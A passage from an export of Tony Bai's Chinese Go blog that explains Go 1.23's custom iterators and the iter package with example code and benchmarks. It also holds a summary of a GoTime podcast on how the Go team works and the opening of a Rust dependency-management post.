range+函数iterator来迭代像切片这样的集合类型中的元素还是蛮简单的，并且该方案并未引入新关键字或预定义标识符（像any、new这种）。\n不过，在这样简洁的使用界面之下，for range对Go迭代器的支持究竟是如何实现的呢？接下来，我们就来简单看看其实现原理。\n3. 原理 在《Go语言精进之路vol1》一书中，我曾引述了Go语言之父Rob Pike的一句话：“Go语言实际上是复杂的，但只是让大家感觉很简单”。Go iterator也是这样，“简单”外表的背后是Go语言自身实现层面的复杂，而这些复杂性被Go语言的设计者“隐藏”起来了。或者说，Go团队把复杂性留给了语言自身的设计和实现，留给了Go团队自身。\n3.1 自定义迭代器、yield函数与迭代器创建API 下面我们先以slices的Backward函数为例，用下图说明一下自定义迭代器从实现到使用过程中涉及的各个方面：\n我们先来看上图中最下面for range与函数结合一起使用的代码，这里的红框④中的函数slices.Backward并非是iterator，而是slices包中的一个创建iterator的API函数。\nBackward函数的实现在图的上方红框③，这是一个泛型函数，它的返回值也是一个函数，这个函数类型就是Go支持的自定义迭代器的类型之一。在iter包中，我们可以找到Go支持的两种函数迭代器类型，再加上上面定义的Seq0，这里完整地列一下：\n// $GOROOT/src/iter/iter.go type Seq[V any] func(yield func(V) bool) type Seq2[K, V any] func(yield func(K, V) bool) // 自定义的Seq0 type Seq0 func(yield func() bool) 也就是说只有符合上述函数签名的函数类型才是可以被for range支持的iterator。即所谓自定义iterator，本质上就是一个接受一个函数类型参数的函数(如上图中红框①)，按惯例，这个函数类型的参数被命名为yield(见红框②)。从Backward函数的返回值(一个iterator)的实现来看，当yield函数返回false时，迭代结束；否则迭代继续进行，直到集合类型(如slice)中所有元素都被遍历完。\n到这里，你可能依旧一头雾水。slices.Backward返回的是一个函数(即iterator)，这个iterator函数也没有返回值啊，怎么就能在每轮迭代时向for range返回一个或两个值呢？\n我们继续来看range over func和Go iterator的实现原理。\n3.2 代码转换 其实，for range+自定义iterator可以看成是Go提供的又一个“语法糖”，它是通过Go编译器在编译阶段的代码转换来实现的。下面我们还基于Backward那个例子来看看这个转换过程：\n通过这个例子，我们看到for range body中的逻辑被转换为了传给iterator函数的yield函数的实现了。相对于for range body，yield函数实现中多了一个return true。根据前面的说明，在iterator的实现逻辑中，当yield返回true，迭代会继续进行。在上图中，for range会遍历所有切片元素，所以yield始终返回true。\n下面我们再看一个带有break的for range语句转换为yield函数的实现后是什么样子的：\ns := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;golang\u0026#34;, \u0026#34;rust\u0026#34;, \u0026#34;java\u0026#34;} for i, x := range slices.Backward(s) { fmt.Println(i, x) if i == 3 { break } } Go编译器将上述代码转换为类似下面的代码：\nslices.Backward(s)(func(#p1 int, #p2 string) bool { i, x := #p1, #p2 fmt.Println(i, x) if i == 3 { return false } return true }) 我们看到原for range代码中的break语句将终止循环的运行，那么转换为yield函数后，就相当于yield返回false。\n如果for range中有return语句呢？Go编译器会如何转换for range代码呢？我们看下面原始代码：\ns := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;golang\u0026#34;, \u0026#34;rust\u0026#34;, \u0026#34;java\u0026#34;} for i, x := range slices.Backward(s) { fmt.Println(i, x) if i == 3 { return } } Go编译器会将上述代码转换为类似下面的代码：\n{ var #next int slices.Backward(s)(func(#p1 int, #p2 string) bool { i, x := #p1, #p2 fmt.Println(i, x) if i == 3 { #next = -1 return false } return true }) if #next == -1 { return } } 我们看到由于yield函数只是传给iterator的输入参数，它的返回不会影响外层函数的返回，于是转换后的代码会设置一个标志变量(这里为#next)，对于有return的for range，会在yield函数中设置该变量的值，然后在Backward调用之后，再次检查一下该变量以决定是否调用return从函数中返回。\n如果for range的body中有defer调用，那么Go编译器会如何做代码转换呢？我们看下面示例：\ns := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;} for i, x := range slices.Backward(s) { defer println(i, x) } 我们知道defer的语义是在函数return之后按“先进后出”的次序执行，那么直接将上述代码转换为如下代码是否ok呢？\nslices.Backward(s)(func(#p1 int, #p2 string) bool { i, x := #p1, #p2 defer println(i, x) }) 这显然不行！这样转换后的代码，deferred function会在每次yield函数执行完就执行了，而不是在for range所在的函数返回前执行！为此，Go团队在runtime层增加了一个deferprocat函数，用于代码转换后的deferred函数执行。上面的示例将被Go编译器转换为类似下面的代码：\nvar #defers = runtime.deferrangefunc() slices.Backward(s)(func(#p1 int, #p2 string) bool { i, x := #p1, #p2 runtime.deferprocat(func() { println(i, x) }, #defers) }) 到这里，我们所举的代码示例其实都还是比较简单的情况！还有很多复杂的情况，比如break/continue/goto+label的、嵌套loop、loop中代码panic以及iterator自身panic等，想想就复杂。更多复杂的转换代码这里不展开了，展开的也很可能不对，这本来就是编译器的事情，而现在我也拿不到编译器转换代码后的中间输出。要了解转换的复杂逻辑，可以自行阅读Go项目库中的cmd/compile/internal/rangefunc/rewrite.go。\n3.3 Push iterator和Pull iterator 前面我们所说的Go标准的自定义iterator在iter包和Go Wiki：Rangefunc Experiment中都被视为Push iterator。这类迭代器的特点是由迭代器自身控制迭代的进度，迭代器负责迭代的逻辑，并会主动将元素推送给yield函数。你回顾一下上面的例子，体会一下是不是这样的。这种迭代器在一些资料里也被称为内部迭代器(internal iterator)。再说的直白一些，Push迭代器更像是“for range loop + 对yield的回调”。Go语言for range后面接的函数迭代器都是这类迭代器。\n不过有些时候，在实现迭代器时，通过push迭代器自身控制对容器内元素序列的迭代可能并非是最适合的，而由迭代器实现者控制的、一次获取一个后继元素值的pull函数更适合。并且很显然，这样的pull函数需要在内部维护一个状态。Go 1.23的rc1版在iter包的注释中提到过一个Pairs函数的示例，不过rc1版本中该示例的代码有误，会导致死循环，这个cl fix了这个问题中，但我个人觉得下面的实现似乎更准确：\nfunc Pairs[V any](seq iter.Seq[V]) iter.Seq2[V, V] { return func(yield func(V, V) bool) { next, stop := iter.Pull(seq) defer stop() for { v1, ok1 := next() if !ok1 { return // 序列结束 } v2, ok2 := next() if !ok2 { // 序列中有奇数个元素，最后一个元素没有配对 return // 序列结束 } if !yield(v1, v2) { return // 如果 yield 返回 false，停止迭代 } } } } 我们看到Pairs的实现与之前的Backward函数返回的iterator实现略有不同，这里通过iter.Pull将Pairs传入的push迭代器转换为了Pull迭代器，并通过Pull返回的next和stop来按需控制从容器(Seq)中取数据。这样的连取两个数据的需求在Push iterator中似乎也能实现，但的确没有Pull iterator这么自然！\nPull迭代器是不能直接对接for range的，目前来看iter包提供的Pull和Pull2两个函数更多是用来辅助实现Push iterator的，就像上面的Pairs函数那样。在一些其他语言中，Pull迭代器也被称为外部迭代器（External Iterator)，即主动通过迭代器提供的类next方法从中获取数据。\n此外要注意的是Pull/Pull2返回的next、stop不能在多个Goroutine中使用。Russ Cox很早就在其个人博客上对Go iterator的实现方式进行了铺垫，他的这篇“Coroutines for Go”对Go各类iterator的实现方式做了早期探讨，感兴趣的童鞋可以移步阅读一下。\n3.4 性能考量 很多读者可能和我一样会有关于iterator性能的考量，比较转换后的代码额外地引入了多次函数调用，但按照Go rangefunc experiment wiki中的说法，这种转换后带来的函数调用开销是可以被优化(inline)掉的。\n我们来实测一下iterator带来的额外的开销：\n// go-iterator/benchmark_iterator_test.go package main import ( \u0026#34;slices\u0026#34; \u0026#34;testing\u0026#34; ) var sl = []string{\u0026#34;go\u0026#34;, \u0026#34;java\u0026#34;, \u0026#34;rust\u0026#34;, \u0026#34;zig\u0026#34;, \u0026#34;python\u0026#34;} func iterateUsingClassicLoop() { for i, v := range sl { _, _ = i, v } } func iterateUsingIterator() { for i, v := range slices.All(sl) { _, _ = i, v } } func BenchmarkIterateUsingClassicLoop(b *testing.B) { for range b.N { iterateUsingClassicLoop() } } func BenchmarkIterateUsingIterator(b *testing.B) { for range b.N { iterateUsingIterator() } } 我们对比一下使用传统for range + slice和for range + iterator的benchmark结果(基于go 1.23rc1的编译执行)：\n$go test -bench . benchmark_iterator_test.go goos: darwin goarch: amd64 ... .. BenchmarkIterateUsingClassicLoop-8 429305227 2.806 ns/op BenchmarkIterateUsingIterator-8 218232373 5.442 ns/op PASS ok command-line-arguments 3.239s 我们看到：虽然有优化，但iterator还是带来了一定的开销，这个在性能敏感的系统中还是要考虑iterator带来的开销的。\n4. 使用 关于Go iterator的定义与基本使用方法，在前面的说明与示例中我们已经见识过了。最后，我们再说一些有关iterator使用方面的内容。\n4.1 “一次性”的iterator 通常iterator创建出来之后是可以重复使用，多次迭代的，比如下面这个示例：\n// go-iterator/reuse_iterator.go // https://go.dev/play/p/gczUIVB8NWd?v=gotip package main import ( \u0026#34;fmt\u0026#34; \u0026#34;slices\u0026#34; ) func main() { s := []string{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;, \u0026#34;golang\u0026#34;, \u0026#34;rust\u0026#34;, \u0026#34;java\u0026#34;} itor := slices.Backward(s) println(\u0026#34;first loop:\\n\u0026#34;) for i, x := range itor { fmt.Println(i, x) if i == 3 { break } } println(\u0026#34;\\nsecond loop:\\n\u0026#34;) for i, x := range itor { fmt.Println(i, x) } } 运行该示例，我们将得到如下结果：\n$go run reuse_iterator.go first loop: 4 java 3 rust second loop: 4 java 3 rust 2 golang 1 world 0 hello 我们看到多次对slices.Backward创建的iterator进行迭代，每次iterator都会从切片重新开始，并完整地迭代每个元素。\n但也有一些情况建立的迭代器是一次性的，比如迭代读取文件行、从网络读取数据等，这些迭代器往往是有状态的，因此无法从头开始重复使用。我们来看下面这个一次性迭代器：\n// go-iterator/single_use_iterator.go // Lines 返回一个迭代器，用于逐行读取 io.Reader 的内容 func Lines(r io.Reader) func(func(string) bool) { scanner := bufio.NewScanner(r) return func(yield func(string) bool) { for scanner.Scan() { if !yield(scanner.Text()) { return } } } } func main() { f, err := os.Open(\u0026#34;ref.txt\u0026#34;) if err != nil { panic(err) } defer f.Close() itor := Lines(f) println(\u0026#34;first loop:\\n\u0026#34;) for v := range itor { fmt.Println(v) } println(\u0026#34;\\nsecond loop:\\n\u0026#34;) for v := range itor { fmt.Println(v) } } Lines函数创建的就是一个从文件读取数据的一次使用的迭代器，代码中曾两次对其进行迭代，我们看看输出结果：\n$go run single_use_iterator.go first loop: Most iterators provide the ability to walk an entire sequence: when called, the iterator does any setup necessary to start the sequence, then calls yield on successive elements of the sequence, and then cleans up before returning. Calling the iterator again walks the sequence again. second loop: 我们看到第一次loop，将文件所有内容都输出了，第二次再使用该迭代器，输出内容为空。对于这样的一次使用的迭代器，你在使用时务必注意：每次需要迭代时，都应该调用Lines函数创建一个新的迭代器。\n这种一次性使用的iterator往往都是有状态的，如果第一次loop没有迭代完其数据，后续再次用loop迭代还是可以继续读出其未迭代的数据的，比如下面这个示例：\n// go-iterator/continue_use_iterator.go // Lines 返回一个迭代器，用于逐行读取 io.Reader 的内容 func Lines(r io.Reader) func(func(string) bool) { scanner := bufio.NewScanner(r) return func(yield func(string) bool) { for scanner.Scan() { if !yield(scanner.Text()) { return } } } } func main() { f, err := os.Open(\u0026#34;ref.txt\u0026#34;) if err != nil { panic(err) } defer f.Close() itor := Lines(f) println(\u0026#34;first loop:\\n\u0026#34;) lineCnt := 0 for v := range itor { fmt.Println(v) lineCnt++ if lineCnt \u0026gt;= 2 { break } } println(\u0026#34;\\nsecond loop:\\n\u0026#34;) for v := range itor { fmt.Println(v) } } 运行该示例，我们将得到如下结果：\n$go run continue_use_iterator.go first loop: Most iterators provide the ability to walk an entire sequence: when called, the iterator does any setup necessary to start the second loop: sequence, then calls yield on successive elements of the sequence, and then cleans up before returning. Calling the iterator again walks the sequence again. 4.2 组合iterator 正在策划但尚未落地的golang.org/x/exp/xiter包中有很多工具函数可以帮我们实现iterator的组合，我们来看一个示例：\n// go-iterator/compose_iterator.go package main import ( \u0026#34;iter\u0026#34; \u0026#34;slices\u0026#34; ) // Filter returns an iterator over seq that only includes // the values v for which f(v) is true. func Filter[V any](f func(V) bool, seq iter.Seq[V]) iter.Seq[V] { return func(yield func(V) bool) { for v := range seq { if f(v) \u0026amp;\u0026amp; !yield(v) { return } } } } // 过滤奇数 func FilterOdd(seq iter.Seq[int]) iter.Seq[int] { return Filter[int](func(n int) bool { return n%2 == 0 }, seq) } // Map returns an iterator over f applied to seq. func Map[In, Out any](f func(In) Out, seq iter.Seq[In]) iter.Seq[Out] { return func(yield func(Out) bool) { for in := range seq { if !yield(f(in)) { return } } } } // Add 100 to every element in seq func Add100(seq iter.Seq[int]) iter.Seq[int] { return Map[int, int](func(n int) int { return n + 100 }, seq) } var sl = []int{12, 13, 14, 5, 67, 82} func main() { for v := range Add100(FilterOdd(slices.Values(sl))) { println(v) } } 这里借用了xiter那个issue的Filter和Map的实现，然后通过多个iterator的组合实现了对一个切片的元素的过滤与重新映射：先是过滤掉奇数，然后又在每个元素值的基础上加100。这有点其他语言支持那种函数式的链式调用的意思，但从代码层面看，还不似那么优雅。\n我们也可以改造一下上述代码，让for range后面的迭代器的组合更像链式调用一些：\n// go-iterator/compose_iterator1.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;iter\u0026#34; \u0026#34;slices\u0026#34; ) // Sequence 是一个包装 iter.Seq 的结构体，用于支持链式调用 type Sequence[T any] struct { seq iter.Seq[T] } // From 创建一个新的 Sequence func From[T any](seq iter.Seq[T]) Sequence[T] { return Sequence[T]{seq: seq} } // Filter 方法 func (s Sequence[T]) Filter(f func(T) bool) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { if f(v) \u0026amp;\u0026amp; !yield(v) { return } } }, } } // Map 方法 func (s Sequence[T]) Map(f func(T) T) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { if !yield(f(v)) { return } } }, } } // Range 方法，用于支持 range 语法 func (s Sequence[T]) Range() iter.Seq[T] { return s.seq } // 辅助函数 func IsEven(n int) bool { return n%2 == 0 } func Add100(n int) int { return n + 100 } func main() { sl := []int{12, 13, 14, 5, 67, 82} for v := range From(slices.Values(sl)).Filter(IsEven).Map(Add100).Range() { fmt.Println(v) } } 这样看起来是不是更像链式调用了！\n运行上述示例，我们将得到如下结果：\n$go run compose_iterator1.go 112 114 182 4.3 处理数据生成时的错误 Go iterator是push类型的，更像一个generator，在前面一次性iterator那个示例中，我们感受最为明显。但是如果generator在产生数据的时候出错该如何处理呢？前面的实现中，我们没法在for range的body，即yield函数中感知到这种错误，要想支持对这类错误的处理，我们需要iterator迭代的数据元素中包含这种error，下面是一个改造后的示例，大家看一下：\n// go-iterator/error_iterator.go package main import ( \u0026#34;bufio\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;strings\u0026#34; ) // Lines 返回一个迭代器，用于逐行读取 io.Reader 的内容 // 使用 bufio.Reader.ReadLine() 来读取每一行并处理错误 func Lines(r io.Reader) func(func(string, error) bool) { br := bufio.NewReader(r) return func(yield func(string, error) bool) { for { line, isPrefix, err := br.ReadLine() if err != nil { // 如果是 EOF，我们不将其视为错误 if err != io.EOF { yield(\u0026#34;\u0026#34;, err) } return } // 如果一行太长，isPrefix 会为 true，我们需要继续读取 fullLine := string(line) for isPrefix { line, isPrefix, err = br.ReadLine() if err != nil { yield(fullLine, err) return } fullLine += string(line) } if !yield(fullLine, nil) { return } } } } func main() { reader := strings.NewReader(\u0026#34;Hello\\nWorld\\nGo 1.23\\nThis is a very long line that might exceed the buffer size\u0026#34;) for line, err := range Lines(reader) { if err != nil { fmt.Printf(\u0026#34;Error: %v\\n\u0026#34;, err) break } fmt.Println(line) } } 我们将error类型作为迭代数据的第二个值的类型，这样在for range的body中就可以根据该值来做错误处理了。当然了在这个示例中，迭代器是不会返回non-nil的错误的：\n$go run error_iterator.go Hello World Go 1.23 This is a very long line that might exceed the buffer size 5. 小结 本文主要介绍了Go 1.23版本中引入的自定义迭代器和iter包。\n我们首先回顾了Go迭代器的提案历程，然后详细解释了迭代器的语法形式和实现原理。Go迭代器本质上是一个接受yield函数作为参数的函数，通过编译器的代码转换来实现。本文还讨论了Push迭代器和Pull迭代器的区别，以及性能方面的考量。\n在使用方面，本文介绍了一次性使用的迭代器的概念，以及如何组合多个迭代器。此外还讨论了在数据生成过程中处理错误的方法。\n到这里，我们看到Go引入的iterator在一定程度上“违背”了Go显式的设计哲学，增加了Gopher代码理解上的难度。 并且将iterator实现的复杂性留给了Go包的作者，尤其是那些需要对外地提供iterator创建API的包作者。对于iterator使用者而言，iterator用起来还是蛮简单的。不过iterator会带来一些性能上的额外开销，这部分是否能在未来的Go版本中被完全优化掉还不可知。\n此外，个人感觉对于原生的且支持for range迭代的容器类型，比如slice，下面的方法更自然，性能也更佳：\nfor i, v := range sl { } 我们似乎没有必要像如下这样来迭代一个slice：\nfor i, v := range slices.All(sl) { } 而对于一些用户自定义的容器类型，提供iterator实现，并与for range联合使用还是很实用的。\n本章中涉及的源码可以在这里下载。\n6. 参考资料 spec: add range over int, range over func – https://github.com/golang/go/issues/61405 user-defined iteration using range over func values – https://github.com/golang/go/discussions/56413 iter: new package for iterators – https://github.com/golang/go/issues/61897 proposal: x/exp/xiter: new package with iterator adapters – https://github.com/golang/go/issues/61898 Coroutines for Go – https://research.swtch.com/coro Go evolves in the wrong direction – https://itnext.io/go-evolves-in-the-wrong-direction-7dfda8a1a620 Why People are Angry over Go 1.23 Iterators – https://www.gingerbill.org/article/2024/06/17/go-iterator-design/ Storing Data in Control Flow – https://research.swtch.com/pcdata for range spec – https://tip.golang.org/ref/spec#For_range Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/range-over-func-and-package-iter-in-go-1-23-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23\"\u003ehttps://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2024/05/30/go-1-23-foresight/\"\u003e《Go 1.23新特性前瞻》\u003c/a\u003e一文中，我们提到了Go 1.23中增加的一个主要的语法特性就是\u003cstrong\u003e支持了用户自定义iterator\u003c/strong\u003e，即\u003ca href=\"https://go.dev/wiki/RangefuncExperiment\"\u003erange over func试验特性\u003c/a\u003e的正式转正。为此，Go 1.23还在标准库中增加了\u003ca href=\"https://pkg.go.dev/iter\"\u003eiter包\u003c/a\u003e，这个包对什么是Go自定义iterator做了诠释：\u003c/p\u003e","title":"Go 1.23中的自定义迭代器与iter包"},{"content":"Go团队的工作方式 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go团队的工作方式 六月 22, 2024 1 条评论 本文永久链接 – https://tonybai.com/2024/06/22/how-things-get-done-on-the-go-team\n在Go 1.23版本即将发布(2024.8)之前，在GopherCon 2024开幕(2024.7)之前，Go团队成员Cameron Balahan(Go产品负责人)、 Sameer Ajmani（Go团队工程总监）和Russ Cox（Go团队技术负责人）参加了业界知名的播客栏目GoTime的最新一期活动，主题是“How things get done on the Go Team”。在这期活动中，Go团队这三个leader分享了Go团队的工作方式，包括：Go团队的组成、现状与职责划分、与社区互动、决策与规划流程、产品管理等方面。这里基于这期播客的脚本提炼了其中主要的观点，贴到这里供大家参考。\n1. Go团队组成及职责划分 Go团队从2007年诞生，至今已经有17年了。最初的Go团队由罗伯·派克(Rob Pike)、罗伯特·格瑞史莫(Robert Griesemer)和肯·汤普森（Ken Thompson）三个Go语言之父组成。之后Russ Cox和Ian Lance Taylor加入团队，形成了Go团队最核心的五人组。\nSameer Ajmani在Go 1.0发布前后加入，当时团队有10几个人，我们熟悉的context包就是由他和Russ Cox一起设计并实现的。\nCameron Balahan在4年前加入Go团队，他也是今年在Google I/O大会上做“Go是一个平台”演讲的Go团队成员。\n目前Google内部组织调整后，Go团队划归Google云团队管理，但其工作相对独立。 现在，Go团队由不同小组组成，主要包括三个小组：核心组、工具组和安全组。核心组负责编译器、运行时、链接器以及核心发布流程。工具组负责构建系统、Go命令、Go VSCode IDE插件以及gopls语言服务器等。安全组则专注于Go的供应链安全性、漏洞扫描和修复等方面。\n尽管划分了不同的小组，但Go团队在日常工作中感觉就像是一个整体，各小组之间合作紧密。特定任务往往需要几个小组共同参与，例如漏洞检测与修复功能的开发就涉及了核心组、工具组和安全组的工作。\nGo团队的工作由核心成员和开源社区两部分组成。核心成员负责构建整体框架与关键功能，而开源社区则为Go语言贡献众多细节上的改进和完善。两者紧密互动，形成良性循环。\n2. Go团队与Go社区的互动 Go社区对语言发展做出了重大贡献，因此Go团队始终采取非常积极开放的态度与社区互动。包括但不限于使用Slack、邮件列表、Issue跟踪、Go博客等多种渠道倾听Go社区声音，接纳Go社区贡献。任何人都可以参与讨论并提出建议。\n目前较为正式的决策途径是“Go提案流程(Proposal Process)”。任何人都可以在这一平台上提出建议，供Go团队和全体社区评议。不论大小，只要通过审议，这些建议都可能被纳入语言或生态系统的未来发展规划。\n除了直接参与讨论和决策外，Go社区还可以通过编写代码、发现并报告漏洞等方式为Go语言做贡献。Go团队会将高质量的外部代码整合进官方发行版。\n3. 决策与规划流程 Go团队在做决策时，会优先考虑目标的一致性和充分的信息共享（比如公开利用Go遥测工具采集的数据）。如果出现分歧，通常是由于目标不一致或信息不对称(以类型别名加入Go的过程为例)造成的。因此，团队会先明确共同目标，并确保每个人掌握了相同的信息，然后再做出决策。\n在规划过程中，Go团队首先要考虑Go语言既定的目标，即能够同时处理”生产规模化”(大量机器与海量数据)和”人力规模化”(大型项目与众多贡献者)。任何需要持续10年以上的重大决策，都必须符合这两个目标。\n从长远来看，安全性与开源软件的可持续发展是Go团队需要重点关注的问题。他们将积极主导新标准与新模式，以提高整个行业的供应链安全性水平。\n功能规划上，Go团队会同时考虑Go用户/社区和Google内部需求：Go用户和Go社区从Go中寻找价值，比如高生产力、高性能、高可靠和高安全；Google要确保其内部系统运行良好，开发人员满意，其系统可靠，安全，诸如此类。当然，Google也希望外部Go开发人员也这样做。同时，Google也希望那些外部的Go开发人员获得成功和快乐。为此，Go团队会寻求双赢解决方案。比如兼容性工作就是为了满足Kubernetes等重要系统的需求(IP地址解析)。在新特性开发过程中，Go团队会确保功能在整个生态链上保持一致性。\n在发布规划上，Go团队需要考虑两个周期，一个是Go团队公开的Go版本发布周期，主版本一年两次。同时，Go团队leader还要考虑内部Google的规划周期，往往有一个年度计划周期，Go团队在其中执行 OKR、目标和关键结果。\n4. 产品管理与Go的未来展望 作为Go产品负责人，CAMERON BALAHAN认为他会从优先级路线图、愿景角度以及Go团队为用户/社区和Google提供的价值的角度来弄清楚Go是什么，他认为Go是用于开发生产级软件的高效平台。作为编程语言，Go语言的产品管理理念就是构建一个高效且稳定的平台，支撑”生产级软件的高效开发”。\nGo在解决云问题方面非常成功。云的大部分基础设施都是用Go编写的，并且Go在这方面做得很好，具有独特优势。Go团队希望Go在这一领域能够提供持续性的方案并取得持续性的成功，这决定了Go团队关注两个核心要素：生产效率和软件质量，这其中包括可靠性、安全性等重要的要素。\n此外，Sameer认为人工智能的发展也为Go带来了新的机遇，随着越来越多的大公司、企业和初创公司希望在人工智能模型之上构建系统，而如何使Go成为构建智能基础设施以及基于大模型构建生产级、值得信赖、可靠的AI应用系统的语言，是下一个重要的前沿领域，Go团队将看到对此的大量需求，并认为Go是一个非常合适的选择。Go团队也在拭目以待！\n编程语言的采用是一个缓慢的过程。Go语言目前已经到了一个关键的增长点，有望在新兴计算领域(AI)获得更广泛的使用。团队需要持续关注新的计算范式，及时调整以满足新需求。\nGo社区对该语言的热爱是Go发展的重要动力。整个Go社区都是建立在Go之上的。Go团队本身无法建造所有东西，Go团队只要确保Go用户能够使用Go构建他们需要构建的东西，积极赋能社区发挥创造力，丰富Go的生态系统，才能继续让Go保持在人们需要的那种前沿，以便建立他们的业务、构建软件、构建他们需要的东西，生产级的高效、安全与可靠。\n5. 不受欢迎的观点(GoTime常设环节) Sameer：context is fine。 Cameron：I really like Go’s error handling. Russ：null pointers are fine. They’re kind of a fundamental fact of computers, is that memory can be zeroed. Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/22/how-things-get-done-on-the-go-team/","summary":"\u003ch1 id=\"go团队的工作方式--tony-bai\"\u003eGo团队的工作方式 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go团队的工作方式\"\u003eGo团队的工作方式\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e六月 22, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/06/22/how-things-get-done-on-the-go-team/#comments\" title=\"《Go团队的工作方式》上的评论\"\u003e1 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-things-get-done-on-the-go-team-1.png\"\u003e\u003c/p\u003e","title":"Go团队的工作方式"},{"content":"\n本文永久链接 – https://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps\n在上一章《Gopher的Rust第一课：Rust代码组织》中，我们了解了Rust的代码组织形式，知道了基于Cargo构建项目以及Rust代码组织是目前的标准方式，同时Cargo也是管理项目外部依赖的标准方法，而项目内部的代码组织则由Rust module来完成。\n在这一章中，我们将聚焦Rust的依赖管理，即Cargo对外部crate依赖的管理操作。我将先介绍几种依赖的来源类型（来自crates.io或其他Package Registries、来自某个git仓库以及来自本地的crate等），然后说说Cargo依赖的常见操作，包括依赖的添加、升降版本和删除；最后，聊一下如何处理依赖同一个依赖项的不同版本。\n作为Gopher，我们先来简略回顾一下Go的依赖管理要点，大家可以在学习Cargo依赖管理后自己做个简单的对比，看看各自的优缺点是什么。\n5.1 